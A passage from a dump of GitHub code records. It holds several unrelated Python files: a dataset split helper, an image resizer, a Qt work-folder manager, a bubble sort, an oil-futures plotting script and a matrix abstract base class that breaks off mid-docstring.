[HierarData(Y[self._train_ind], limit=self._limit)\n for Y in self._target]\n self._valid.target = \\\n [HierarData(Y[self._valid_ind], limit=self._limit)\n for Y in self._target]\n self._test.target = \\\n [HierarData(Y[self._test_ind], limit=self._limit)\n for Y in self._target]\n else:\n self._train.target = HierarData(self._target[self._train_ind],\n limit=self._limit)\n self._valid.target = HierarData(self._target[self._valid_ind],\n limit=self._limit)\n self._test.target = HierarData(self._target[self._test_ind],\n limit=self._limit)\n\n @property\n def input(self):\n return self._input\n\n @property\n def target(self):\n return self._target\n\n @property\n def train_ind(self):\n return self._train_ind\n\n @property\n def valid_ind(self):\n return self._valid_ind\n\n @property\n def test_ind(self):\n return self._test_ind\n\n @property\n def train(self):\n return self._train\n\n @property\n def valid(self):\n return self._valid\n\n @property\n def test(self):\n return self._test\n","repo_name":"Cysu/dlearn","sub_path":"dlearn/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7884,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"27511732159","text":"# 将某一文件夹下的jpg文件,等比例缩小到某宽度一下\n# 每次上传新图片都应该运行一次\n# create time : 2022/4/3\n# author : 195\n# version : 1.0\n\nimport numpy as np\nimport os\nimport cv2\n\ndef resize_pic(file, max_width):\n # 读取图片及尺寸\n img = cv2.imread(file)\n w = img.shape[1]\n h = img.shape[0]\n print(w, h)\n\n # 判断是否超过尺寸\n if w <= max_width:\n print(\"Don't need resize\")\n return\n\n # 按比例缩放尺寸\n h = int(h * (max_width / w))\n w = max_width\n print(w, h)\n img = cv2.resize(img, (w, h))\n cv2.imwrite(file, img)\n\ndef rename(file):\n if RENAME_FLAG:\n temp_name = file.replace(\" \", \"\").replace(\"(\", \"\").replace(\")\", \"\")\n os.rename(file, temp_name)\n\n pass\n\n\nDIR = \"./\"\nRENAME_FLAG = True\n\n# 获取文件夹下所有文件\npath = os.path.join(DIR)\nimg_list = os.listdir(path)\n# print(img_list)\n\n# 遍历所有图片\nfor i in img_list:\n # print(i)\n end_str = os.path.splitext(i)[1]\n if end_str == \".jpg\" or end_str == \".jpeg\":\n print(DIR + i)\n # img = cv2.imread(DIR + i)\n # cv2.imshow(\"\", img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n resize_pic(DIR+i, 400)\n rename(DIR+i)\n","repo_name":"195cn/195cn","sub_path":"pic_sizer/pic_sizer.py","file_name":"pic_sizer.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3032514339","text":"from typing import List, Tuple\n\nimport os\nfrom glob import glob\nimport re\n\nfrom node import SceneCollection\nfrom node.factory.comfyFactory import ComfyFactory\nfrom PySide6.QtGui import QStandardItemModel, QStandardItem\nfrom PySide6.QtCore import QModelIndex\n\n\nclass MaybeSceneCollection:\n def __init__(self, path: str, factory: ComfyFactory) -> None:\n self.path = path\n self.factory = factory\n self._collection: SceneCollection | None = None\n pass\n\n @classmethod\n def create(cls, folder: str, factory: ComfyFactory) -> \"MaybeSceneCollection\":\n name = cls._makeNameUnique(\"nodeTree\", folder)\n path = os.path.join(folder, f\"{name}.pnt\")\n obj = cls(path, factory)\n obj._collection = SceneCollection(factory)\n obj.save()\n return obj\n\n @property\n def collection(self) -> SceneCollection:\n if self._collection is None:\n self._collection = SceneCollection(self.factory)\n with open(self.path, \"r\") as f:\n self._collection.fromJSON(\" \".join(f.readlines()))\n self._collection.undoStack.setClean()\n return self._collection\n\n @property\n def name(self) -> str:\n return os.path.splitext(os.path.basename(self.path))[0]\n\n @staticmethod\n def _getFiles(path: str) -> Tuple[List[str], List[int]]:\n names: List[str] = []\n counts: List[int] = []\n names = glob(os.path.join(path, \"*.pnt\"))\n names = [os.path.splitext(os.path.basename(x))[0] for x in names]\n splits = [re.split(r\"\\_(?=\\d{3}\\.pnt$)\", x) for x in names]\n if len(splits) == 0:\n return ([], [])\n names, counts = zip(*[(x[0], int(x[1]) if len(x) > 1 else 0) for x in splits])\n return (names, counts)\n\n @classmethod\n def _makeNameUnique(cls, name: str, path: str) -> str:\n names, counts = cls._getFiles(path)\n taken = [(n, i) for n, i in zip(names, counts) if n == name]\n if len(taken) > 0:\n for j, (n, i) in enumerate(taken):\n if j != i and j != 0:\n return f\"{name}_{j:03}\"\n return f\"{name}_{len(taken):03}\"\n return name\n\n def rename(self, name: str) -> str:\n name = self._makeNameUnique(name, os.path.split(self.path)[0])\n newPath = os.path.join(os.path.split(self.path)[0], f\"{name}.pnt\")\n os.rename(self.path, newPath)\n self.path = newPath\n return name\n\n def hasChanges(self) -> bool:\n if self._collection is None:\n return False\n return not self.collection.undoStack.isClean()\n\n def close(self, save: bool = True) -> None:\n if save:\n self.save()\n self._collection = None\n\n def save(self) -> None:\n if self._collection is not None:\n serialized = self._collection.toJSON()\n with open(self.path, \"w\") as f:\n f.write(serialized)\n self._collection.undoStack.setClean()\n\n\nclass SceneCollectionItem(QStandardItem):\n def __init__(self, collection: MaybeSceneCollection) -> None:\n self.collection = collection\n super().__init__(collection.name)\n\n\nclass WorkFolder:\n def __init__(self, folder: str, factory: ComfyFactory) -> None:\n self.workFolder = os.path.join(folder, \"Pomfy workFolder\")\n self.treeFolder = os.path.join(self.workFolder, \"nodeTrees\")\n self.factory = factory\n self.sceneCollections: List[MaybeSceneCollection] = []\n if not os.path.exists(self.workFolder):\n os.makedirs(self.workFolder)\n os.makedirs(self.treeFolder)\n # TODO: setup empty subgraph library\n treeFiles = glob(os.path.join(self.treeFolder, \"*.pnt\"))\n for f in treeFiles:\n obj = MaybeSceneCollection(f, factory)\n self.sceneCollections.append(obj)\n\n self.initModel()\n\n def initModel(self) -> None:\n self._model = QStandardItemModel()\n for col in self.sceneCollections:\n self._model.appendRow(SceneCollectionItem(col))\n self._model.itemChanged.connect(self.renameFile)\n\n def renameFile(self, item: SceneCollectionItem) -> None:\n name = item.collection.rename(item.text())\n blockState = self.model.blockSignals(True)\n item.setText(name)\n self.model.blockSignals(blockState)\n\n def newFile(self) -> QModelIndex:\n collection = MaybeSceneCollection.create(self.treeFolder, self.factory)\n self.sceneCollections.append(collection)\n colItem = SceneCollectionItem(collection)\n self._model.appendRow(colItem)\n return self._model.indexFromItem(colItem)\n\n @property\n def model(self) -> QStandardItemModel:\n return self._model\n","repo_name":"BlenderNeko/Pomfy","sub_path":"gui/workFolder.py","file_name":"workFolder.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12189209631","text":"import sys\n\n# Définition de la fonction de tri à bulle\ndef my_bubble_sort(array):\n n = len(array)\n for i in range(n):\n for j in range(0, n-i-1):\n if array[j] > array[j+1]:\n array[j], array[j+1] = array[j+1], array[j]\n return array\n\n# Vérification des arguments\nif len(sys.argv) < 2:\n print(\"error\")\n sys.exit()\n\n# Conversion des arguments en nombres\ntry:\n nums = [int(arg) for arg in sys.argv[1:]]\nexcept ValueError:\n print(\"Donne des nombres chackal\")\n sys.exit()\n\n# Tri de la liste\nsorted_nums = my_bubble_sort(nums)\n\n# Affichage de la liste triée sans [] et sans,\nfor num in sorted_nums:\n print(num, end=' ')\nprint()","repo_name":"SkipperICE/Eau-ca","sub_path":"eau13.py","file_name":"eau13.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22113623078","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport datetime\r\n\r\nfutures=pd.read_csv(\"oil futures.csv\")\r\nfutures=futures[[\"Previous\",\"Unnamed: 10\"]]\r\nfutures.columns=[\"price\",'date']\r\nfutures=futures.dropna(how=\"any\")\r\nfutures=futures.iloc[0:8,:]\r\nfutures.date=futures.date.map(lambda x: datetime.datetime.strptime(x,'%m/%d/%Y'))\r\nfutures=futures.set_index(\"date\",drop=True)\r\n\r\nprices=pd.read_csv(\"WTI prices.csv\",sep=\"\\t\")\r\ncol_names=[\"date\",\"time\",\"open\",\"high\",\"low\",\"close\",\"tickvol\",\"vol\",\"spread\"]\r\nprices.columns=col_names\r\nprices=prices[['date','close','time']]\r\nprices.date=prices.date.astype(str)+prices.time.astype(str)\r\nprices.date=prices.date.map(lambda x: datetime.datetime.strptime(x,'%Y.%m.%d%H:%M:%S'))\r\nprices=prices[['date','close']]\r\n\r\nfig, ((ax1, ax2)) = plt.subplots(2, 1)\r\n#fig.suptitle('Lambda derivatives plots')\r\nax1.plot(prices.date, prices.close)\r\nax1.set_title('WTI price', fontsize=8)\r\nax1.set( ylabel='Price')\r\n\r\n\r\nax2.plot(futures.resample('h').interpolate('quadratic'))\r\nax2.set_title('CLM20 (Crude Oil WTI Futures) ', fontsize=8)\r\nax2.set( ylabel='Futures price')\r\n\r\n#plt.setp( ax1.xaxis.get_majorticklabels(), rotation=-15 )\r\n#plt.setp( ax2.xaxis.get_majorticklabels(), rotation=-15)\r\n#plt.locator_params(axis='x', nbins=4)\r\n\r\nfig.tight_layout(pad=1.0)\r\n\r\n\r\nevery_nth = 2\r\nfor n, label in enumerate(ax1.xaxis.get_ticklabels()):\r\n if n % every_nth != 0:\r\n label.set_visible(False)\r\nfor n, label in enumerate(ax2.xaxis.get_ticklabels()):\r\n if n % every_nth != 0:\r\n label.set_visible(False)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"rustemshinkaruk/Oil-Futures","sub_path":"oil.py","file_name":"oil.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71648463602","text":"\"\"\"Base class for Matrix types.\"\"\"\nfrom __future__ import annotations\nfrom abc import ABC, abstractmethod\nfrom copy import deepcopy\nfrom itertools import chain\nfrom typing import Any, Callable, Generic, Self, Iterator, Sequence, Sized, overload, cast\nfrom ._types import T, V, RowColT, IndexT\nfrom ._iterutils import chunked, matmul\nfrom .formatter import DefaultFormatter\n\n\ncopyfunc = deepcopy\n\n\nclass MatrixABC(ABC, Generic[T]):\n \"\"\"Abstract base class for 2-dimensional matrix types.\"\"\"\n\n _data: list[list[T]]\n _default: T\n _shape: tuple[int, int] = (0, 0)\n\n _rowrange: range\n _colrange: range\n\n @overload\n def __init__(self, data: Sequence[Sequence[T]], *, default: T):\n ...\n\n @overload\n def __init__(self, data: Sequence[Sequence[T]], shape: tuple[int, int], *, default: T):\n ...\n\n @overload\n def __init__(self, data: MatrixABC[T]):\n ...\n\n @overload\n def __init__(self, data: MatrixABC[T], *, default: T):\n ...\n\n @overload\n def __init__(self, data: MatrixABC[T], shape: tuple[int, int]):\n ...\n\n @overload\n def __init__(self, data: MatrixABC[T], shape: tuple[int, int], *, default: T):\n ...\n\n @overload\n def __init__(self, data: Sequence[T], shape: tuple[int, int], *, default: T):\n ...\n\n def __init__(self, *args: Any, **kwargs: Any): # noqa: C901\n \"\"\"Initialise a new Matrix/FrozenMatrix instance.\n\n :param MatrixABC[T] | Sequence[T] | Sequence[Sequence[T]] data: The\n initial data for the matrix. This can be another `MatrixT` instance,\n a sequence of values, or a sequence of a sequence of values.\n This argument is required, but you can simply pass an empty sequence\n (e.g. :code:`[]`) to have the matrix filled with *default* instead.\n :param tuple[int, int] shape: The shape the matrix should have, as a\n tuple specifying :code:`(rows, cols)`. This argument is required if\n *data* is a flat sequence. If *data* is a sequence of sequences or\n another `MatrixT`, then *shape* will be inferred if it is not\n provided, or *data* will be reshaped to *shape* if it is provided\n and doesn't presently conform to *shape*.\n :param T default: A keyword-only argument specifying the default value\n for matrix cells. This will be used to fill in the value for cells\n which do not have one assigned, are deleted, newly inserted, etc.\n It is also used as in evaluating the truthiness of a `MatrixT` (a\n `MatrixT` is :code:`True` if at least one of its cells' values is\n **not** equal to *default*). The *default* argument is required\n unless *data* is of type `MatrixT`, in which case it will be\n inferred if not explicity specified.\n \"\"\"\n # Make args/kwargs uniform (data, shape, default=default)\n arglist = list(args)\n if \"data\" in kwargs:\n arglist.insert(0, kwargs[\"data\"])\n del kwargs[\"data\"]\n if \"shape\" in kwargs:\n arglist.insert(1, kwargs[\"shape\"])\n del kwargs[\"shape\"]\n if \"default\" not in kwargs and isinstance(arglist[0], MatrixABC):\n kwargs[\"default\"] = arglist[0]._default\n if len(arglist) < 1:\n raise TypeError(\"Expected at least 1 argument, 0 given\")\n if len(arglist) > 2:\n raise TypeError(\"Unexpected argument, expected at most 2 non-keyword arguments\")\n # Extract values for data, shape and default\n data = arglist[0]\n if len(arglist) < 2:\n if isinstance(data, MatrixABC):\n shape = data._shape\n elif isinstance(data, Sequence) and len(data) == 0:\n shape = (0, 0)\n elif isinstance(data, Sequence) and all(isinstance(x, Sequence) for x in data):\n shape = (len(data), max(len(x) for x in data))\n else:\n raise TypeError(\"Missing required argument 'shape'\")\n else:\n shape = arglist[1]\n if \"default\" in kwargs:\n default = kwargs[\"default\"]\n del kwargs[\"default\"]\n else:\n if isinstance(data, MatrixABC):\n default = data._default\n else:\n raise TypeError(\"Missing required argument 'default'\")\n if len(kwargs) > 0:\n raise TypeError(\n f\"Unexpected keyword argument(s): {', '.join(repr(k) for k in kwargs.keys())}\"\n )\n # Check types for data, shape and default\n if not isinstance(data, (MatrixABC, Sequence)):\n raise TypeError(\n f\"Argument 'data' must be of type Matrix or Sequence, not {type(data)}\"\n )\n if (not isinstance(shape, tuple)\n or len(shape) != 2\n or not isinstance(shape[0], int)\n or not isinstance(shape[1], int)):\n _desc = (f\"{type(shape)} of length {len(shape)}\"\n if isinstance(shape, Sized)\n else type(shape))\n raise TypeError(f\"Argument 'shape' must be of type tuple[int, int], not {_desc}\")\n # Make sure we do not have negative shape values\n self._check_shape(shape)\n # Initialise matrix\n if isinstance(data, MatrixABC):\n self._init_from_matrix(data, shape, default)\n if isinstance(data, Sequence):\n if len(data) > 0 and all(isinstance(x, Sequence) for x in data):\n self._init_from_seqseq(data, shape, default)\n else:\n self._init_from_sequence(data, shape, default)\n # Calculate helpers\n self._calculate_helpers()\n # Do any reshaping if needed\n if self._shape != shape:\n self._resize(shape)\n\n def _init_from_matrix(self, data: MatrixABC[T], shape: tuple[int, int], default: T) -> None:\n \"\"\"Initialise Matrix from another Matrix.\"\"\"\n self._data = copyfunc(data._data)\n self._shape = copyfunc(data._shape)\n self._default = copyfunc(data._default)\n\n def _init_from_seqseq(\n self,\n data: Sequence[Sequence[T]],\n shape: tuple[int, int],\n default: T) -> None:\n \"\"\"Initialise Matrix from another Matrix.\"\"\"\n self._default = default\n self._shape = shape\n self._data = []\n data = list(data)\n if len(data) < self._shape[0]:\n for _ in range(len(data), self._shape[0]):\n data.append([self._default] * self._shape[1])\n for row in data[0:self._shape[0]]:\n if len(row) < self._shape[1]:\n self._data.append(\n list(row) + [self._default] * (self._shape[1] - len(row))\n )\n else:\n self._data.append(list(row)[0:self._shape[1]])\n\n def _init_from_sequence(self, data: Sequence[T], shape: tuple[int, int], default: T) -> None:\n \"\"\"Initialise Matrix from another Matrix.\"\"\"\n self._default = default\n self._shape = shape\n number_of_cells = self._shape[0] * self._shape[1]\n raw_seq = list(data)\n if len(raw_seq) < number_of_cells:\n raw_seq.extend([self._default] * (number_of_cells - len(raw_seq)))\n x = raw_seq[0:number_of_cells]\n self._data = list(chunked(x, self._shape[1]))\n\n # HELPER FUNCTIONS\n\n def _calculate_helpers(self) -> None:\n \"\"\"Calculates several useful helpers.\n\n .. important::\n\n You must call _calculate_helpers() after every internal operation\n which alters the shape of the matrix. This is because internals\n such as `self._rowrange` and `self._colrange` must be recalculated\n after such operations or the ranges won't match the shape of the\n matrix.\n \"\"\"\n self._rowrange = range(0, self._shape[0])\n self._colrange = range(0, self._shape[1])\n\n def _check_shape(self, shape: tuple[int, int]) -> None:\n \"\"\"Checks whether a shape tuple is valid in terms of values.\"\"\"\n if shape[0] < 0:\n raise ValueError(\"Row count cannot be negative\")\n if shape[1] < 0:\n raise ValueError(\"Column count cannot be negative\")\n\n def _check_rowindex(self, row: IndexT) -> None:\n \"\"\"Checks whether a row index is in range or out of range.\n\n :param row: The row index to check.\n :raises IndexError: if the row index is out of range.\n \"\"\"\n if not isinstance(row, (int, tuple, slice)):\n raise TypeError(\n f\"Row index must be of type int | slice | tuple[int, ...], not {type(row)!r}\"\n )\n if isinstance(row, int) and (row == self._shape[0] or abs(row) > self._shape[0]):\n raise IndexError(\"Row index out of range\")\n if isinstance(row, tuple):\n if not all(isinstance(x, int) for x in row):\n raise TypeError(\"Row index tuple must only contain integer indices\")\n if any(x == self._shape[0] or abs(x) > self._shape[0] for x in row):\n raise IndexError(\"At least one row index out of range in index tuple\")\n\n def _check_colindex(self, col: IndexT) -> None:\n \"\"\"Checks whether a column index is in range or out of range.\n\n :param col: The column index to check.\n :raises IndexError: if the column index is out of range.\n \"\"\"\n if not isinstance(col, (int, tuple, slice)):\n raise TypeError(\n \"Column index must be of type int | slice | tuple[int, ...], \"\n f\"not {type(col)!r} given\"\n )\n if isinstance(col, int) and (col == self._shape[1] or abs(col) > self._shape[1]):\n raise IndexError(\"Column index out of range\")\n if isinstance(col, tuple):\n if not all(isinstance(x, int) for x in col):\n raise TypeError(\"Column index tuple must only contain integer indices\")\n if any(x == self._shape[1] or abs(x) > self._shape[1] for x in col):\n raise IndexError(\"At least one column index out of range in index tuple\")\n\n def _rowtoindices(self, index: IndexT) -> tuple[int, ...]:\n \"\"\"Converts an integer or a slice to a tuple of row indices.\n\n :param intorslice: An integer or `slice` object referring to one or\n more row indices.\n :returns: a tuple of integers with the indices of all the rows within\n range specified by *intorslice*.\n \"\"\"\n if isinstance(index, int):\n self._check_rowindex(index)\n return (index,)\n if isinstance(index, tuple):\n self._check_rowindex(index)\n return index\n start = index.start or 0\n if start < 0:\n start = max(self._shape[0] - abs(start), 0)\n stop = index.stop or self._shape[0]\n if stop < 0:\n stop = max(self._shape[0] - abs(stop), 0)\n return tuple(range(\n start,\n stop,\n index.step or 1\n ))\n\n def _coltoindices(self, index: IndexT) -> tuple[int, ...]:\n \"\"\"Converts an integer or a slice to a tuple of column indices.\n\n :param intorslice: An integer or `slice` object referring to one or\n more column indices.\n :returns: a tuple of integers with the indices of all the columns\n within range specified by *intorslice*.\n \"\"\"\n if isinstance(index, int):\n self._check_colindex(index)\n return (index,)\n if isinstance(index, tuple):\n self._check_colindex(index)\n return index\n start = index.start or 0\n if start < 0:\n start = max(self._shape[1] - abs(start), 0)\n stop = index.stop or self._shape[1]\n if stop < 0:\n stop = max(self._shape[1] - abs(stop), 0)\n return tuple(range(\n start,\n stop,\n index.step or 1\n ))\n\n # PROPERTIES\n\n @property\n def shape(self) -> tuple[int, int]:\n \"\"\"Returns the shape of the matrix.\"\"\"\n return self._shape\n\n @property\n def default(self) -> T:\n \"\"\"Returns the *default* value for the matrix.\"\"\"\n return self._default\n\n def empty(self) -> bool:\n \"\"\"Returns :code:`False` if at least one value in the \"\"\"\n if 0 in self._shape:\n return True\n return all(\n self._data[r][c] == self._default for c in self._colrange for r in self._rowrange\n )\n\n # SHAPE MANIPULATION\n\n def _transpose(self) -> None:\n \"\"\"Transposes the rows and columns of the internal data.\"\"\"\n self._data = [list(row) for row in zip(*self._data, strict=True)]\n self._shape = (self._shape[1], self._shape[0])\n self._calculate_helpers()\n\n @abstractmethod\n def transpose(self) -> Self:\n \"\"\"Transposes the rows and columns of the matrix.\n\n This has the effect of turning a matrix such as::\n\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n\n into the matrix::\n\n 0 1\n ┌ ┐\n 0 │ 1 4 │\n 1 │ 2 5 │\n 2 │ 3 6 │\n └ ┘\n\n Modifies the matrix in-situ if it is mutable, otherwise returns a\n transposed copy of the matrix.\n\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n raise NotImplementedError()\n\n def _resize(self, rows: int | tuple[int, int], cols: int | None = None) -> None:\n \"\"\"Resizes the internal data to the specified shape, with origin (0, 0).\"\"\"\n if cols is None and isinstance(rows, Sequence) and len(rows) == 2:\n rows = cast(tuple[int, int], rows) # For whatever reason mypy thinks rows is \n cols = rows[1]\n rows = rows[0]\n elif not isinstance(rows, int) or not isinstance(cols, int):\n raise ValueError(\n \"Arguments 'rows' and 'cols' must both be of type 'int', \"\n f\"not {type(rows)} and {type(cols)}\"\n )\n self._check_shape((rows, cols))\n if rows > self._shape[0]:\n rows_to_add = rows - self._shape[0]\n for _ in range(0, rows_to_add):\n self._data.append([self._default] * self._shape[1])\n elif rows < self._shape[0]:\n del self._data[rows:]\n if cols > self._shape[1]:\n cols_to_add = cols - self._shape[1]\n for row in range(0, rows):\n self._data[row] += [self._default] * cols_to_add\n elif cols < self._shape[1]:\n for row in range(0, rows):\n del self._data[row][cols:]\n self._shape = (rows, cols)\n self._calculate_helpers()\n\n @overload\n @abstractmethod\n def resize(self, rows_or_shape: tuple[int, int]) -> Self:\n ...\n\n @overload\n @abstractmethod\n def resize(self, rows_or_shape: int, cols: int) -> Self:\n ...\n\n @abstractmethod\n def resize(self, rows_or_shape: int | tuple[int, int], cols: int | None = None) -> Self:\n \"\"\"Grows or shrinks a matrix.\n\n Grows or shrinks a matrix depending on whether the new shape supplied\n is greater or smaller in any dimension; does nothing if the new shape\n is identical to the original shape.\n\n Where the new shape adds new rows or columns, the new cells are\n populated by the matrix's default value.\n\n Where the new shape removes rows or columns, the values of the removed\n cells will be lost.\n\n Modifies the matrix in-situ if it is mutable, otherwise returns a\n resized copy of the matrix.\n\n Can be called either with the positional-only argument *shape* as\n\n .. py:function:: resize(shape: tuple[int, int]) -> Self\n\n or with two integer arguments for *rows* and *cols* as\n\n .. py:function:: resize(rows: int, cols: int) -> Self\n\n :param tuple[int, int] shape: A tuple with the sizes for (rows, columns)\n that the resized matrix should have.\n :param rows: The number of rows the resized matrix should have.\n :param cols: The number of columns the resized matrix should have.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n raise NotImplementedError()\n\n def _flip(self, *, by: RowColT = \"row\") -> None:\n \"\"\"Flips the internal data vertically or horizontally.\"\"\"\n if by == \"row\":\n self._data.reverse()\n return\n if by == \"col\":\n for row in self._rowrange:\n self._data[row].reverse()\n return\n raise ValueError(f\"Unknown value '{by}' for argument 'by', must be 'row' or 'col'\")\n\n @abstractmethod\n def flip(self, *, by: RowColT = \"row\") -> Self:\n \"\"\"Flips a matrix vertically or horizontally.\n\n Effectively reverses the order of the matrix's rows or columns.\n\n Whether the flipping is applied to the rows or columns is specified\n by the keyword-only argument *by*. The default is :code:`\"row\"`,\n which flips the matrix vertically.\n\n :code:`m.flip()` and :code:`m.flip(by=\"row\")` are equivalent to\n :code:`m.flipv()`.\n\n :code:`m.flip(by=\"column\")` is equivalent to :code:`m.fliph()`.\n\n :param by: Whether to flop row-wise or column-wise, must be one of the\n literal strings :code:`\"row\"` (the default) or :code:`\"col\"`.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n raise NotImplementedError()\n\n def fliph(self) -> Self:\n \"\"\"Flips a matrix horizontally (by columns).\n\n This effectively reverses the order of the columns of the matrix.\n\n This has the effect of turning a matrix such as::\n\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n └ ┘\n\n into the matrix::\n\n 0 1 2\n ┌ ┐\n 0 │ 3 2 1 │\n 1 │ 6 5 4 │\n └ ┘\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n a copy of the matrix with the order of columns reversed.\n\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n return self.flip(by=\"col\")\n\n def flipv(self) -> Self:\n \"\"\"Flips a matrix vertically (by rows).\n\n This effectively reverses the order of the rows of the matrix.\n\n This has the effect of turning a matrix such as::\n\n 0 1 2\n ┌ ┐\n 0 │ 1 2 3 │\n 1 │ 4 5 6 │\n 2 │ 7 8 9 │\n └ ┘\n\n into the matrix::\n\n 0 1 2\n ┌ ┐\n 0 │ 7 8 9 │\n 1 │ 4 5 6 │\n 2 │ 1 2 3 │\n └ ┘\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n a copy of the matrix with the order of rows reversed.\n\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n return self.flip(by=\"row\")\n\n def _insertrow(self, index: int, data: Sequence[T]) -> None:\n \"\"\"Inserts a new row into the internal data.\"\"\"\n data = list(data)\n # Ensure data's length is correct\n if len(data) > self._shape[1]:\n del data[self._shape[1]:]\n elif len(data) < self._shape[1]:\n data += [self._default] * (self._shape[1] - len(data))\n # Insert new data at index\n self._data.insert(index, data)\n self._shape = (self._shape[0] + 1, self._shape[1])\n self._calculate_helpers()\n\n @abstractmethod\n def insertrow(self, index: int, data: Sequence[T]) -> Self:\n \"\"\"Inserts a row with values *data* before *index*.\n\n *data* must be a sequence with length at least matching the number of\n columns in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n an expanded copy of the matrix.\n\n :param index: The row index before which the new row should be inserted.\n :param data: The data to be inserted into the new row.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n raise NotImplementedError()\n\n def _insertcol(self, index: int, data: Sequence[T]) -> None:\n \"\"\"Inserts a new column into the internal data.\"\"\"\n data = list(data)\n # Ensure data's length is correct\n if len(data) > self._shape[0]:\n del data[self._shape[0]:]\n elif len(data) < self._shape[0]:\n data += [self._default] * (self._shape[0] - len(data))\n # Insert new data at index\n for row in self._rowrange:\n self._data[row].insert(index, data[row])\n self._shape = (self._shape[0], self._shape[1] + 1)\n self._calculate_helpers()\n\n @abstractmethod\n def insertcol(self, index: int, data: Sequence[T]) -> Self:\n \"\"\"Inserts a column with values *data* before *index*.\n\n *data* must be a sequence with length at least matching the number of\n rows in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n an expanded copy of the matrix.\n\n :param index: The colmn index before which the new column should be inserted.\n :param data: The data to be inserted into the new column.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n raise NotImplementedError()\n\n def appendrow(self, data: Sequence[T]) -> Self:\n \"\"\"Appends a row with values *data* at the bottom of the matrix.\n\n This is equivalent to :code:`m.insertrow(len(m), data)`.\n\n *data* must be a sequence with length at least matching the number of\n columns in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ and returns *self* if the matrix is\n mutable, otherwise returns an expanded copy of the matrix.\n\n :param data: The data to be inserted into the new row.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n return self.insertrow(self._shape[0], data)\n\n def appendcol(self, data: Sequence[T]) -> Self:\n \"\"\"Appends a column with values *data* to the right of the matrix.\n\n This is equivalent to :code:`m.insertcol(len(m), data)`.\n\n *data* must be a sequence with length at least matching the number of\n rows in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ and returns *self* if the matrix is\n mutable, otherwise returns an expanded copy of the matrix.\n\n :param data: The data to be inserted into the new column.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n return self.insertcol(self._shape[1], data)\n\n def prependrow(self, data: Sequence[T]) -> Self:\n \"\"\"Prepends a row with values *data* at the bottom of the matrix.\n\n This is equivalent to :code:`m.insertrow(0, data)`.\n\n *data* must be a sequence with length at least matching the number of\n rows in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n an expanded copy of the matrix.\n\n :param data: The data to be inserted into the new row.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n return self.insertrow(0, data)\n\n def prependcol(self, data: Sequence[T]) -> Self:\n \"\"\"Prepends a column with values *data* to the right of the matrix.\n\n This is equivalent to :code:`m.insertcol(0, data)`.\n\n *data* must be a sequence with length at least matching the number of\n columns in the matrix. Unused values will be ignored.\n\n Modifies the matrix in-situ if the matrix is mutable, otherwise returns\n an expanded copy of the matrix.\n\n :param data: The data to be inserted into the new column.\n :returns: its own :class:`Matrix` instance or a copy of the :class:`FrozenMatrix` instance.\n \"\"\"\n return self.insertcol(0, data)\n\n def _removerow(self, index: int) -> None:\n \"\"\"Removes a row from the internal data.\"\"\"\n self._check_rowindex(index)\n del self._data[index]\n self._shape = (self._shape[0] - 1, self._shape[1])\n self._calculate_helpers()\n\n @abstractmethod\n def removerow(self, index: int) -> Self:\n \"\"\"Removes the row at *index*.\n\n .. caution::\n The row is *removed completely* from the matrix, and\n the matrix's shape will be altered. Calling this function\n *does not* merely reset the values of items in the targeted\n row to their default!\n\n :param index: The index of the row to be removed.\n :returns: its own :class:`Matrix` instance if mutable,\n a copy of the :class:`FrozenMatrix` instance if immutable.\n \"\"\"\n raise NotImplementedError()\n\n def _removecol(self, index: int) -> None:\n \"\"\"Removes a column from the internal data.\"\"\"\n for row in self._rowrange:\n del self._data[row][index]\n self._shape = (self._shape[0], self._shape[1] - 1)\n self._calculate_helpers()\n\n @abstractmethod\n def removecol(self, index: int) -> Self:\n \"\"\"Remove the column at *index*.\n\n .. caution::\n The column is *removed completely* from the matrix, and\n the matrix's shape will be altered. Calling this function\n *does not* merely reset the values of items in the targeted\n column to their default!\n\n :param index: The index 